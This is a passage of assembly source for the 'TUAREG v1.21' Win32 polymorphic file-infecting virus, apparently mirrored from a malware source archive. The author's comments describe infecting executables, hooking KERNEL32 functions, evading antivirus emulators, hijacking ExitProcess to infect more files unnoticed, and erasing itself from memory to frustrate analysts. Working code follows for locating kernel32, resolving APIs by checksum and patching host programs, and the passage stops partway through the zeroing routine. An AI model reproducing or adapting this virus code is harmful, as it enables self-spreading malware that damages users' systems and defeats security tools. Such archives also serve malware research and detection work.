mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
7672 lines
339 KiB
NASM
7672 lines
339 KiB
NASM
|
||
;;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;;ßßÛßßß Û ÛßßÛ ÛßÛÜ Ûßßß Ûßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
;;Þ Û Û Û Û Û Û ÜÛ Û Û ÄÄÄÄÄÄÄÄÄ Designed to carry the ÄÄÄÄÄ Ý Þ ÜÝ ÞßÝÜÝ
|
||
;;Þ Û Û Û ÛßßÛ ÛßÛÜ Ûßß Û ßÛ ÄÄÄ TUAREG polymorphing engine ÄÄÄ Þ Ý Ý ÜÝ Ý
|
||
;;Þ Û ÛÜÜÛ Û Û Û Û ÛÜÜÜ ÛÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Û ÝÜÞÜÜ Ý
|
||
;;Þ ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
;;Þ
|
||
;;ÞÝ ßßÛßß ÛÛ ÞÛ ÛÜÜ Ý ÞÛßÝ Þ Ý Û ÞßßÝ ÞßßÛ ÞßßÝ
|
||
;;ÞÝ ÛÞ ÛÞ ÝÛ ÞÝ Ý ÞÝ ÞÝ ßÞ Ý ÞÝ Û Û Û Þ Û Û
|
||
;;ÞßÝÝ Ý ÝÞßÛÞÛÝ Ý Û ÝÞÛÝÛßÛÞ ßßÝÝ Þ Þ ÛßÞÞ ÝÞÛÝÞÛß Û Þ ßßÛ ÛßßÛ
|
||
;;ÞÜÝÛÜÝ ÝÞ ÞÞÜÜ Ý ÝÞÜÜÞ ÞÞ ÛÛÝÛ ÞÜÜÝ Ý ÞÞÝÛÞÜÜÞ ÞÝ ÜÛÛÜÜ ÜÜÛÞÝ ÞÝ
|
||
;;ÄÄÄÄÄÝÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;; ßß
|
||
;; This virus is designed to carry the Tameless Unpredictable Anarchic Relent-
|
||
;; less Encryption Generator (TUAREG), so I decided to name the virus as the
|
||
;; engine. Apart from generating extremely polymorphic samples, the virus does
|
||
;; other things apart from carrying the engine.
|
||
;;
|
||
;; This is the version 1.21. The version 1.0 was sent to AVers before the re-
|
||
;; lease of this version in 29A#5, so I have had time to improve some things,
|
||
;; correct some bugs and make new features, like more complex garbage on de-
|
||
;; cryptors, the routine for zeroing the memory before terminate the program,
|
||
;; etc. The version 1.1 was sent too, but too late I realized of a "bug" in
|
||
;; the infection procedure (but NOT in the TUAREG) that made some programs to
|
||
;; refuse execution, so I corrected some lines of code, added some others, im-
|
||
;; proved the TUAREG engine greatly (now it's v1.01) and I call from all that
|
||
;; I got "TUAREG v1.21".
|
||
;;
|
||
;; In this version:
|
||
;; Virus total binary size: 20994 bytes
|
||
;; Infection virtual and physical size: 65536 bytes
|
||
;; Binary size of TUAREG: 12951 bytes (only main engine)
|
||
;; Average size of a generated decryptor: 9.26 Kb
|
||
;;
|
||
;; Technical notes:
|
||
;;------------------
|
||
;; - It infects all *.EXEs, *.SRCs and *.CPLs on current, windows and
|
||
;; windows\system directories, and the programs set for execution at
|
||
;; windows startup.
|
||
;;
|
||
;; - It's also a per-process resident, patching the next functions:
|
||
;; GetProcAddress, CreateFileA, CreateProcessA, FindFirstFileA,
|
||
;; FindNextFileA, GetFileAttributesA, SetFileAttributesA, GetFullPathNameA,
|
||
;; MoveFileA, CopyFileA, DeleteFileA, WinExec, _lopen, MoveFileExA and
|
||
;; OpenFile. ExitProcess is also patched, but for special actions.
|
||
;;
|
||
;; - The RVAs of the functions are obtained scanning the export directory
|
||
;; of KERNEL32, doing a checksum of the name of every function and compa-
|
||
;; ring it with the stored checksums on the virus. When someone coincides,
|
||
;; then the corresponding RVA is set on the virus' calling address.
|
||
;;
|
||
;; - On infection, it'll place the generated decryptors on .text section,
|
||
;; and the .reloc section will be anulated, renamed and overwritten with
|
||
;; the encrypted data and the overwritten code of .text. If it's not big
|
||
;; enough, its size will be increased until all the stuff fit in it. If
|
||
;; there isn't any .reloc section, then a new section with a random name
|
||
;; will be added (if there is enough space in the EXE header).
|
||
;;
|
||
;; - Then, the infection mark will be: if there's a .reloc section, the
|
||
;; file isn't infected, and neither if the .rsrc section is the last. If
|
||
;; .rsrc section isn't the last section of all, the file won't be infected,
|
||
;; since it could be already. I know it isn't the best system, but I was
|
||
;; tired of coding :). In the future I'll do a less noticeable infection.
|
||
;;
|
||
;; - The virus is polymorphic, using the TUAREG. Moreover, a little also
|
||
;; polymorphic decryptor (to avoid cryptanalisis) has been put. It's not as
|
||
;; polymorphic as TUAREG generated ones (well, compared to the TUAREG gene-
|
||
;; rated decryptors, the little one shouldn't be called "a decryptor" :),
|
||
;; but well...
|
||
;;
|
||
;; Notes about the TUAREG
|
||
;;--------------------------
|
||
;; TUAREG has been a neverending project practically since I entered in the
|
||
;; viruscene. My initial releases didn't resemble in any way with the result
|
||
;; (this one), but in spite of this fact, I'm thousands of times more proud
|
||
;; of this result than ever, since I didn't expected such a complexity after
|
||
;; a so easy coding of it (well, not sooooo easy, but it was not like coding
|
||
;; the MeDriPolEn, where there were things that I didn't know what they do,
|
||
;; although they functioned well :), but I knew every moment what was expected
|
||
;; for every portion of code).
|
||
;; After correcting some little bugs (and not so little, but dark ones), I
|
||
;; got very surprised with the result. Oh, errmh... if I explain first what
|
||
;; the engine does, maybe the explanations will be easier :). So let's see:
|
||
;;
|
||
;; - The TUAREG is based in two main techniques that I explain in the article
|
||
;; called "Advanced decryptor construction", which are PRIDE and Branching.
|
||
;; PRIDE (Pseudo-Random Index DEcryption) avoids linear decryption, seeming
|
||
;; a normal access of an application over its data, and Branching avoids the
|
||
;; linear execution of a decryption loop, since it can execute sixteen types
|
||
;; of different code that performs exactly the same action, so there isn't
|
||
;; any manner of knowing the behaviour of the engine (which path is going
|
||
;; to take everytime) without emulation.
|
||
;;
|
||
;; - To perform the Branching, the entire engine has been oriented to execute
|
||
;; in nearly absolute recursivity, simplifying alot many actions, and taking
|
||
;; advance of this to create very structured portions of code that could be
|
||
;; on any program. Not in vane, the size of the decryptors overpasses 8 Kb of
|
||
;; pure code in the majority of times.
|
||
;;
|
||
;; - The phylosophy of this engine is completely different from the
|
||
;; MeDriPolEn. Since I based that one on simulate a corrupted file, this time
|
||
;; I simulate a normal application. Every branch has this "format":
|
||
;;
|
||
;; ------*-------*-------*--------xxxxxxxxxxxxx--<>------() -----|----|---|
|
||
;; Legend:
|
||
;; -- : Garbage
|
||
;; * : Random conditional jump to another branch
|
||
;; x : Decryption code (mixed with garbage)
|
||
;; <> : Check of end-of-decryption. If it isn't, it performs a random jump
|
||
;; to any * on any branch
|
||
;; () : Code to jump to the decrypted part, and the code of this branch ends.
|
||
;; ----| : Subroutines that are created while coding this branch. The addres-
|
||
;; ses of that subroutines are stored into an array which allows to
|
||
;; other branches to do calls to that subroutines apart from their own
|
||
;; ones.
|
||
;; This type of code is repeated several times and it's randomized alot.
|
||
;;
|
||
;; - The garbage is quite complex to give up the less advanced emulators. The
|
||
;; generator can do CALLs with stack entries and stack frames (emulation of
|
||
;; this), nested CALLs, conditional jumps with non-zero displacement, memory
|
||
;; read/writes (performed to .bss when this section exists in the infected
|
||
;; file), 8 and 32 bit common types (some 16 bit ones are avoided on purpo-
|
||
;; se, due to some emulators that take them as suspicious on a Win32 app.),
|
||
;; random short loops between code, relative jump to the decrypted code (re-
|
||
;; quires execution/emulation for a correct running of it), calls to impor-
|
||
;; ted KERNEL32 functions (it was hard to make it!), etc. etc. etc., and I
|
||
;; don't use any one-byte usual garbage on poly engines (those CLCs, CMCs,
|
||
;; STIs, etc. are highly suspicious for an emulator, so I didn't put anyone
|
||
;; of them, except on the little second decryptor, which is under the main
|
||
;; encryption layer).
|
||
;;
|
||
;; - Before entering to the TUAREG engine, the virus scans the victim's body
|
||
;; to determine the future virtual address of the import table and the vir-
|
||
;; tual addresses of the import table fields, and it fills the fields in the
|
||
;; APIInfo blocks to know which address it has to use to make a calling to
|
||
;; that KERNEL32 function. Once made, the virus will call any of the "con-
|
||
;; trolled" APIs that were also in the import table. I think it's the first
|
||
;; virus (November 2000) that makes API callings in the decryptor :). The
|
||
;; called APIs are ordered in frequency of apparition in an application, and
|
||
;; with a little algorithm we make the first ones to be selected more often
|
||
;; than the next ones (in descendent order).
|
||
;;
|
||
;; - Some other internal features that "beautifies" the code.
|
||
;;
|
||
;; More about the virus itself
|
||
;;-------------------------------
|
||
;; - Since it's a v1.21, it was code over the version 1.0 (of course), so if
|
||
;; some code isn't commented is because I was lazy to do it :), and many
|
||
;; things are changed from v1.0 (bugs corrected, some things improved, etc.)
|
||
;;
|
||
;; - The KERNEL32 address is found using the address pushed onto the stack
|
||
;; from the beginning. It's easy, it doesn't generate errors (since most
|
||
;; Microsoft C compiled programs use the fact that that address exists),
|
||
;; and it's compatible with all versions of Win32 (I think). Anyway, the
|
||
;; virus uses SEH. If any exception occurs while any operation, the virus
|
||
;; will restore the old SEH and execute the host.
|
||
;;
|
||
;; - After finding the RVAs of the API functions, it performs a runtime in-
|
||
;; fection.
|
||
;;
|
||
;; - After that, the virus patches the import table of the file and set its
|
||
;; per-process part.
|
||
;;
|
||
;; - If the API functions couldn't be obtained, the virus will exit. Other-
|
||
;; wise, if WriteProcessMemory nor GetCurrentProcess RVAs aren't obtained,
|
||
;; it will simulate an error of execution, since it can't restore the host.
|
||
;;
|
||
;; - Before returning to the host, it'll try to patch all the ocurrences of
|
||
;; ExitProcess in the host and make them to point to the routine prepared
|
||
;; on this virus to hold it (that's what I call "Pseudo-EPO" :). When the
|
||
;; application calls to ExitProcess, the virus takes control, and since the
|
||
;; program is "under the user's view" terminated, we can perform intensive
|
||
;; virus activity, as a background action. What we do here is to infect all
|
||
;; programs, not only one of each four, with runtime infection, and then we
|
||
;; overwrite all the virus code with zeroes to avoid AVers to have a clean
|
||
;; copy of the virus in memory when executing on a simulated environment and
|
||
;; waiting for the end of running.
|
||
;;
|
||
;; - In this version, the virus is very stable, and an average user won't
|
||
;; notice the presence of the virus by errors in the system, since even the
|
||
;; TUAREG (the most complex code I ever make) hasn't any errors now (from
|
||
;; what I know), nor the infection system.
|
||
;;
|
||
;; Payload
|
||
;;-----------
|
||
;; On the first and third friday of every month, the start pages on the two
|
||
;; most used navigators (Internet Explorer and Netscape Communicator) will be
|
||
;; set to http://www.thehungersite.com, which it's a web that donates food to
|
||
;; hungry countries bought with the money that they earn when you visit the
|
||
;; banners. The virus sets this using the ADVAPI32.DLL registry functions.
|
||
;;
|
||
;; With this, I could say that maybe it's the first payload in the viruses'
|
||
;; history that performs something useful and maybe changes some minds about
|
||
;; the state of our world. Hey, and you can do it too! Enter in that URL
|
||
;; (http://www.thehungersite.com) and press "Donate food". It's easy, free and
|
||
;; can save lives!
|
||
;;
|
||
;; About this, I saw some time ago in alt.comp.virus (Usenet) a discussion
|
||
;; about this virus. A guy asked if this virus can be called a good virus or
|
||
;; what (due to the payload), and it generates a good discussion about the
|
||
;; ethicals of virus writing to make this type of things. Well, I did it be-
|
||
;; cause I wanted to make a payload that make something more than fuck the
|
||
;; user. And it's far from my intention to difamate the URL I redirect naviga-
|
||
;; tors to, but it's the most famous and most trustable donation service that
|
||
;; I saw over the internet, and moreover this page has links to other free do-
|
||
;; nation services. I don't care about that ones that think its start page is
|
||
;; "holy" and nobody must touch it (the ones that think that their own home
|
||
;; comfort is above anyone's life - get a life!), but I care about the ones
|
||
;; that think the action is good but the way is bad (a virus). My apologizes,
|
||
;; but you have to think that a virus is a piece of code, not a fragment of
|
||
;; The Apocalypse :).
|
||
;;
|
||
;; My thanks to:
|
||
;;---------------
|
||
;;
|
||
;; The whole 29A - members and ex-members, because it's the Dream Team of
|
||
;; the vx!
|
||
;; All ppl who innove and create in this scene, and don't destruct the work
|
||
;; of anyone (I HATE destructive payloads! :)
|
||
;; To you, for reading this
|
||
|
||
;; To assemble this:
|
||
;; TASM32 /m29A /ml tuareg.asm
|
||
;; TLINK32 -aa -Tpe -x tuareg.obj,,,import32.lib
|
||
;; PEWRSEC tuareg.exe
|
||
|
||
.386p
|
||
.model flat
|
||
locals
|
||
.data
|
||
;; Message on first generation
|
||
Titulo db 'Virus TUAREG v1.21 1st Generation by The Mental Driller/29A',0
|
||
Mensaje db 'You have been infected with the first generation',0dh,0ah
|
||
db 'of the virus TUAREG by The Mental Driller/29A',0
|
||
.code
|
||
extrn ExitProcess:PROC ; For the fake host
|
||
extrn MessageBoxA:PROC
|
||
|
||
Virus_Size equ offset End_Virus - offset Inic_Virus
|
||
Virus_SizePOW2 equ 10000h ; I don't think it overpasses 65536 bytes.
|
||
; Since this size is virtual, I don't care
|
||
; very much about this one.
|
||
Host_Data_Size equ 4000h ; This one is the one to worry about! :)
|
||
; It's physical!
|
||
|
||
TuaregMain proc
|
||
Inic_Virus label dword
|
||
|
||
;; This decryptor will be generated later. It's a full polymorphic one, al-
|
||
;; though very simple, to avoid cryptanalisys. The structure is as follows:
|
||
;;
|
||
;; MOV Reg,InicDecryptVirus
|
||
;; MOV Reg2,Virus_Size / 4
|
||
;; MOV Reg3,CryptKey
|
||
;; Loop:
|
||
;; XOR/ADD/SUB [Reg],Reg3
|
||
;; ADD Reg,4
|
||
;; ADD/SUB/XOR/ROL1 Reg3,Modifier
|
||
;; DEC Reg2
|
||
;; JNZ Loop
|
||
;;
|
||
;; The MOVs can be MOVs, LEAs or pairs PUSH/POP, and it can use DEC or SUB,1
|
||
;; or ADD,-1 , randomly selected. Well, quite better than v1.0 (which was a
|
||
;; fixed decryptor where I changed values).
|
||
db 3Ch dup (90h)
|
||
InicDecryptVirus:
|
||
cld ; Restore possible STD
|
||
push eax
|
||
call GetDeltaOffset
|
||
GetDeltaOffset: pop ebp
|
||
sub ebp, offset GetDeltaOffset
|
||
mov [ebp+DeltaOffset2], ebp ; This is needed!
|
||
mov [ebp+DeltaOffset3], ebp
|
||
mov [ebp+DeltaOffset4], ebp
|
||
mov [ebp+DeltaOffset5], ebp
|
||
db 0Fh, 31h ; rdtsc ; Get CPU timestamp
|
||
mov [ebp+DwordAleatorio1], eax ; Set EAX (low timestamp)
|
||
; on random seed
|
||
;; Put the return address
|
||
mov eax, [ebp+InicIP]
|
||
mov [esp], eax
|
||
mov eax, [ebp+RestoreAddress]
|
||
mov [ebp+RestoreAddress2], eax
|
||
mov eax, [ebp+SizeOfText]
|
||
mov [ebp+SizeOfText2], eax
|
||
mov eax, [ebp+ImageBase]
|
||
mov [ebp+ImageBase2], eax
|
||
|
||
;; Set this counter to 0. Later we check if this counter has
|
||
;; increased to the correct number of functions.
|
||
mov byte ptr [ebp+CounterOfFunctions], 0
|
||
;; Get the stack returning value for "CreateProcess". This value
|
||
;; allows Win32 apps to finish with RET (many Micro$oft programs
|
||
;; use this fact)
|
||
mov eax, [esp+4]
|
||
and eax, 0FFFFF000h
|
||
mov dword ptr [ebp+Addr_Kernel32], eax ; Store it for adj.
|
||
mov dword ptr [ebp+AuxCounter], 100h ; Times to search
|
||
|
||
;; SEH frame
|
||
lea eax, [ebp+@@JumpToHost]
|
||
push eax
|
||
push dword ptr fs:[0]
|
||
mov fs:[0], esp
|
||
mov [ebp+LastStack], esp ; For SEH returning
|
||
|
||
@@Loop_001: sub dword ptr [ebp+Addr_Kernel32], 1000h ; Subtract
|
||
mov eax, [ebp+Addr_Kernel32]
|
||
cmp word ptr [eax], 'ZM' ; EXE header?
|
||
jz @@MaybeKernelFound ; If so, jump
|
||
dec dword ptr [ebp+AuxCounter] ; Decrease counter
|
||
jnz @@Loop_001 ; If it isn't 0, loop
|
||
push ds
|
||
pop ax
|
||
cmp ax, 0137h ; If actual selector is less, we're in NT
|
||
jb @@GenerateException ; No hard-coded address for WinNT
|
||
mov eax, 0BFF70000h ; Hard-coded under Win9x
|
||
jmp @@KernelFound2 ; Jump
|
||
|
||
;; This code, in fact, will jump to the host execution, since it's set as our
|
||
;; SEH manager. So, a jump here will execute host. Quite anti-debugger :)
|
||
@@GenerateException:
|
||
xor ebx, ebx
|
||
dec ebx
|
||
mov [ebx], cl
|
||
|
||
@@MaybeKernelFound:
|
||
mov ebx, [eax+3Ch] ; Get PE address
|
||
add ebx, eax
|
||
cmp word ptr [ebx], 'EP' ; Is it a PE header?
|
||
jnz @@Loop_001 ; If not, continue searching
|
||
|
||
;; Now we are here when we found the address of Kernel32
|
||
@@KernelFound2: mov dword ptr [ebp+RVA_GetCurrentProcess], 0 ; We must set
|
||
mov dword ptr [ebp+RVA_WriteProcessMemory], 0 ; this to 0
|
||
mov dword ptr [ebp+ExitProcessInImport], 0
|
||
mov esi, [ebx+78h]
|
||
add esi, eax ; ESI=Export directory
|
||
|
||
mov ecx, [esi+18h] ; ECX=Number of names in the array
|
||
mov edx, [esi+20h]
|
||
add edx, eax ; EDX=RVA to the names array
|
||
@@LoopCRC_APIs:
|
||
call GetCRCOfAPI ; Get checksum of the name under EDX
|
||
xor ebx, ebx ; EBX=0
|
||
@@LoopCheck:
|
||
cmp dword ptr [ebp+ebx+CRC_APIs], eax ; Coincidence?
|
||
jz @@FunctionFound ; If it coincides, we have found one
|
||
add ebx, 4 ; Next
|
||
cmp dword ptr [ebp+ebx+CRC_APIs], 0 ; Have we finished?
|
||
jnz @@LoopCheck ; If not, compare next stored checksum
|
||
@@LoopCRC_APIs2: ; Here if no one coincides
|
||
add edx, 4 ; Next RVA to function name
|
||
dec ecx ;Arrgh! We are coding virus, so I had to
|
||
jnz @@LoopCRC_APIs ;use LOOP! :) (this is speed optimization
|
||
; but not size opt.!) bah, it doesn't
|
||
; matter...
|
||
jmp @@Continue_001
|
||
@@FunctionFound:
|
||
mov eax, [esi+18h] ; Get its order in the array of names
|
||
sub eax, ecx
|
||
shl eax, 1 ; Convert it to word index
|
||
add eax, [esi+24h] ; Get the position into the ordinal
|
||
; array
|
||
add eax, [ebp+Addr_Kernel32] ; Add the base address
|
||
movzx eax, word ptr [eax] ; Get the order into the function
|
||
shl eax, 2 ; array
|
||
add eax, [esi+1Ch]
|
||
add eax, [ebp+Addr_Kernel32]
|
||
mov eax, [eax] ; Get the RVA of the function
|
||
add eax, [ebp+Addr_Kernel32]
|
||
mov dword ptr [ebp+ebx+FunctionsToPatch], eax ; Save it
|
||
inc byte ptr [ebp+CounterOfFunctions] ; Increase this
|
||
jmp @@LoopCRC_APIs2 ; Check more
|
||
@@Continue_001:
|
||
;; [CounterOfFunctions] must be NumberOfFunctions. If not, something
|
||
;; failed (too much or too few functions for the correct work of the
|
||
;; virus) and we must exit.
|
||
cmp byte ptr [ebp+CounterOfFunctions], NumberOfFunctions
|
||
jnz @@GenerateException
|
||
|
||
mov byte ptr [ebp+InfectAllFiles], 0
|
||
call RuntimeInfection ; The name explains it ;)
|
||
call Payload ; I don't remember for what is this... :P
|
||
call PatchImportDirectory
|
||
;; I changed the order of calling to this subfunctions, since an exception
|
||
;; executes directly the host. If an exception occurs when patching the
|
||
;; import directory, then the run-time infection woudln't run, so I have
|
||
;; put the functions in the correct order to grant a wider expansion.
|
||
|
||
jmp @@GenerateException ; Finish runtime activity (the per-
|
||
; process part remains "resident")
|
||
; This jump is anulated since there isn't any need of it. Instead of
|
||
; that, we use a fault, since SEH is active and will go directly to
|
||
; @@JumpToHost :)
|
||
|
||
;; SEH handler. This is the SEH that we put. If any exception happens, this
|
||
;; will take control and it'll restore and execute directly the host.
|
||
@@JumpToHost: db 0BDh
|
||
DeltaOffset3 dd 0 ; This is MOV EBP,DeltaOffset
|
||
mov esp, [ebp+LastStack] ; Recover ESP
|
||
pop dword ptr fs:[0] ; Restore SEH
|
||
pop eax ; Release our handle from stack
|
||
; This has been changed since the binary release. I noticed it had
|
||
; a bug, so I corrected it. The binary that the AVers have differs
|
||
; a little from this.
|
||
|
||
cmp dword ptr [ebp+RVA_GetCurrentProcess], 0 ; RVAs got?
|
||
jz @@SimulateExecError ; If not, we can't restore
|
||
cmp dword ptr [ebp+RVA_WriteProcessMemory], 0 ; the host
|
||
jz @@SimulateExecError
|
||
call dword ptr [ebp+RVA_GetCurrentProcess]
|
||
push 0
|
||
push Host_Data_Size
|
||
lea ebx, [ebp+End_Virus]
|
||
push ebx
|
||
push dword ptr [ebp+RestoreAddress2]
|
||
; Restore the overwritten part of .text with
|
||
push eax ; the original code, saved at the end of the
|
||
call dword ptr [ebp+RVA_WriteProcessMemory] ; virus
|
||
call ModifyExitProcess ; Modify the exit process callings
|
||
; in .text to point to our zeroing
|
||
; routine
|
||
ret ; Jump to host
|
||
|
||
@@SimulateExecError:
|
||
push 00BFF700h ; Construct NOP/MOV BYTE PTR [BFF70000],0
|
||
push 0005C690h ; in the stack frame to generate an excep-
|
||
jmp esp ; tion from an "unknown module" :)
|
||
; module" :)
|
||
TuaregMain endp
|
||
|
||
InicIP dd offset FakedHost ; This variables are set now to si-
|
||
RestoreAddress dd offset FakedHost ; mulate an infected program.
|
||
RestoreAddress2 dd 0
|
||
CounterOfFunctions db 0
|
||
|
||
AuxCounter dd 0
|
||
LastStack dd 0
|
||
|
||
InfectAllFiles db 0
|
||
|
||
;; This function generates a checksum of the function name pointed by [EDX]
|
||
;; in the export directory in KERNEL32. I've tried to do a quite variable
|
||
;; formula from one name to other, without using huge tables like the standard
|
||
;; CRC32.
|
||
GetCRCOfAPI proc
|
||
xor eax, eax
|
||
push edx
|
||
push ecx
|
||
mov edx, [edx]
|
||
add edx, [ebp+Addr_Kernel32]
|
||
GetCRCOfAPI2: mov edi, edx ; Load RVA to API name in EDI
|
||
@@LoopAPI: cmp byte ptr [edx], 0 ;If we reached the end of the name,
|
||
jz @@Return ; exit
|
||
mov cl, [edx] ; Get a number between 0 and 3 related to
|
||
and cl, 3 ; the current character in the name.
|
||
rol eax, cl ; ROL the current value in EAX.
|
||
xor al, [edx] ; XOR AL with the character in [EDX]
|
||
inc edx ; Next char
|
||
jmp @@LoopAPI ; Loop
|
||
@@Return: pop ecx ; When we arrive here, we have the checksum
|
||
pop edx ; of the API name.
|
||
ret ; Return
|
||
GetCRCOfAPI endp
|
||
|
||
;; Now the ident message. Never showed, but it'll help the AVers to name this
|
||
;; virus ;)
|
||
Ident_Virus db 0,0,'[Virus TUAREG v1.21 by The Mental Driller/29A]',0
|
||
db '- This virus has been designed for carrying '
|
||
db 'the TUAREG engine -',0,0
|
||
|
||
;; This functions scans for any ocurrence of ExitProcess in the .text section
|
||
;; and substitutes the address in the call for an address here. Once here, we
|
||
;; move a little program to the stack frame and then we jump there. That pro-
|
||
;; gram will overwrite the virus code with zeroes. This feature can fuck some
|
||
;; AVers programs that get a decrypted copy of the virus executing the infec-
|
||
;; ted program and waiting for finish.
|
||
ModifyExitProcess proc
|
||
cmp dword ptr [ebp+ExitProcessInImport], 0
|
||
jz @@Return ; If ExitProcess doesn't exist in the
|
||
; import directory, finish
|
||
lea ebx, [ebp+AddressToLastFunc] ;Get the address to over-
|
||
lea eax, [ebp+LastFunction] ; write ExitProcess callings
|
||
mov [ebx], eax ; with, pointing to our routi-
|
||
; ne
|
||
mov [ebp+AddressToAddressToLastFunc], ebx
|
||
mov esi, [ebp+RestoreAddress2] ; beginning of .text
|
||
mov ecx, [ebp+SizeOfText2] ; Quantity of code to scan
|
||
sub ecx, 6 ; Last 5 bytes can't contain a call, and maybe
|
||
; we generate an exception if we overpass .text
|
||
; size
|
||
@@Loop_001: lea edi, [ebp+CallToSearch] ; Address to constructed call
|
||
mov edx, 6 ; Size of call
|
||
@@Loop_002: cmpsb ; Test byte
|
||
jnz @@NextByte ; If it isn't equal, jump
|
||
@@Loop_003: dec edx ; Decrease call-size counter
|
||
jz @@Found ; If 0, we've found a call to ExitProcess
|
||
cmp edx, 5 ; Call-size counter=5?
|
||
jnz @@Next_001 ; If not, check normally
|
||
dec ecx ; Decrease .text-size counter
|
||
jz @@Return ; If it's 0, return
|
||
inc esi ; Increase checking indexes
|
||
inc edi ; ...And now check two possible opcodes:
|
||
cmp byte ptr [esi-1], 15h ; CALL [Address]
|
||
jz @@Loop_003 ; If it is, continue checking
|
||
cmp byte ptr [esi-1], 25h ; JMP [Address]
|
||
jnz @@NextByte ; If it isn't, "restart" call string
|
||
jmp @@Loop_003 ; Check next byte (now normally)
|
||
@@Next_001: dec ecx ; End of .text?
|
||
jnz @@Loop_002 ; If not, continue checking that call
|
||
jmp @@Return ; If yes, end
|
||
@@NextByte: dec ecx ; End of .text?
|
||
jnz @@Loop_001 ; If not, continue checking for calls
|
||
jmp @@Return ; If yes, end
|
||
@@Found: dec ecx ; Decrease ecx (don't decreased before)
|
||
pushad ; Save regs
|
||
push 0
|
||
push 4 ; Write 4 bytes (overwrite address reference)
|
||
lea ebx, [ebp+AddressToAddressToLastFunc]
|
||
push ebx ; Thing to write (the dword in this variable)
|
||
lea ebx, [esi-4]
|
||
push ebx ; Place to overwrite (the address in the found
|
||
; call)
|
||
call dword ptr [ebp+RVA_GetCurrentProcess]
|
||
push eax ; Write on the current process
|
||
call dword ptr [ebp+RVA_WriteProcessMemory] ; Overwrite!
|
||
popad ; Restore registers values
|
||
jmp @@Loop_001 ; Continue looking for calls to ExitProcess
|
||
@@Return: ret ; Return
|
||
ModifyExitProcess endp
|
||
|
||
CallToSearch db 0FFh, 15h ; Here we construct a call to ExitProcess
|
||
ExitProcessInImport dd 0 ; for searching it over .text
|
||
|
||
SizeOfText dd 100h ; This is the value on first generation, but
|
||
; it's set with the real value on infection
|
||
SizeOfText2 dd 0 ; Variable to save this value and don't overwrite
|
||
; it when infecting
|
||
AddressToLastFunc dd 0 ; Some vars to overwrite the call to ExitProcess
|
||
AddressToAddressToLastFunc dd 0
|
||
|
||
;; This function is the one that we make ExitProcess to point to. Well, we
|
||
;; make that the calls to ExitProcess point here, so they aren't calls to
|
||
;; ExitProcess anymore, but here... bah, more or less :). The fact is that if
|
||
;; we patched correctly the calls to ExitProcess, this function will be called
|
||
;; when you close the application (alt-F4, or Close in its menu, etc. etc.),
|
||
;; and here we can make lots of things without being noticed by the user as
|
||
;; easily as if we make it at the beginning, because s/he closed the applica-
|
||
;; tion and the desktop was restored, seeming a complete exiting, but this
|
||
;; virus is still alive! When we arrive here, we infect ALL files, since we
|
||
;; haven't to do the things quickly (and you can think: then, why don't you
|
||
;; wait for this function to do all and make things more unnoticeable? Because
|
||
;; if ExitProcess patching fails, at least the virus has been spreaded a
|
||
;; bit ;). Before the massive infection, we complete a little overwriting rou-
|
||
;; tine and we copy it to the stack frame. After infection, we jump there, and
|
||
;; that routine will overwrite all the virus body with 0s to avoid getting a
|
||
;; clean copy of the virus when the application ends (AVers use that technique
|
||
;; quite a lot). If I made the virus without per-process residency, I could
|
||
;; make it before jumping to the restored host, but well...
|
||
LastFunction proc
|
||
pop eax
|
||
lea edi, [esp-1800h] ; Copy the routine to the stack (qui-
|
||
; te far up, to avoid overwriting)
|
||
db 0BDh ; MOV EBP,xxx
|
||
DeltaOffset4 dd 0 ; EBP=DeltaOffset
|
||
mov [ebp+ExitCode], eax
|
||
mov esp, [ebp+LastStack] ; Get the saved stack address
|
||
add esp, 0Ch ; Eliminate some things of B4
|
||
mov eax, [ebp+RVA_ExitProcess] ; Get the address to there
|
||
mov [ebp+ExitProcessAddr], eax ; Complete the instruction
|
||
mov [ebp+SetValueToEDI], edi ; Set the jumping value
|
||
lea esi, [ebp+ZeroingFunction] ; ESI=Address to function
|
||
lea eax, [ebp+Inic_Virus] ; EAX=Beginning of the virus
|
||
mov [ebp+InicAddressFor0], eax ; Complete instruction
|
||
mov ecx, offset ZeroingFunctionEnd-offset ZeroingFunction
|
||
cld ; ECX=Size of zeroing routine
|
||
rep movsb ; Copy routine
|
||
mov byte ptr [ebp+InfectAllFiles], 1 ; Now infect all fi-
|
||
; les on current, windows and system
|
||
; directories, instead of one of each four
|
||
|
||
;; SEH frame
|
||
lea eax, [ebp+@@JumpToFinish]
|
||
push eax
|
||
push dword ptr fs:[0]
|
||
mov fs:[0], esp
|
||
mov [ebp+LastStack], esp ; For SEH returning
|
||
|
||
call RuntimeInfection
|
||
@@JumpToFinish:
|
||
@@JumpToHost: db 0BDh
|
||
DeltaOffset5 dd 0 ; This is MOV EBP,DeltaOffset
|
||
mov esp, [ebp+LastStack] ; Recover ESP
|
||
pop dword ptr fs:[0] ; Restore SEH
|
||
pop eax ; Release our handle from stack
|
||
push dword ptr [ebp+ExitCode]
|
||
db 0BFh
|
||
SetValueToEDI dd 0 ; Get the address to jump to overwrite this code
|
||
jmp edi ; Jump there
|
||
LastFunction endp
|
||
|
||
ExitCode dd 0
|
||
|
||
;; This function, after being completed, is the one that we copy to the stack
|
||
;; frame to jump and overwrite the code of this virus. After overwriting it,
|
||
;; we call to ExitProcess and finish the activity
|
||
ZeroingFunction proc
|
||
mov edi, 12345678h ; EDI=Beginning address of virus
|
||
org $-4
|
||
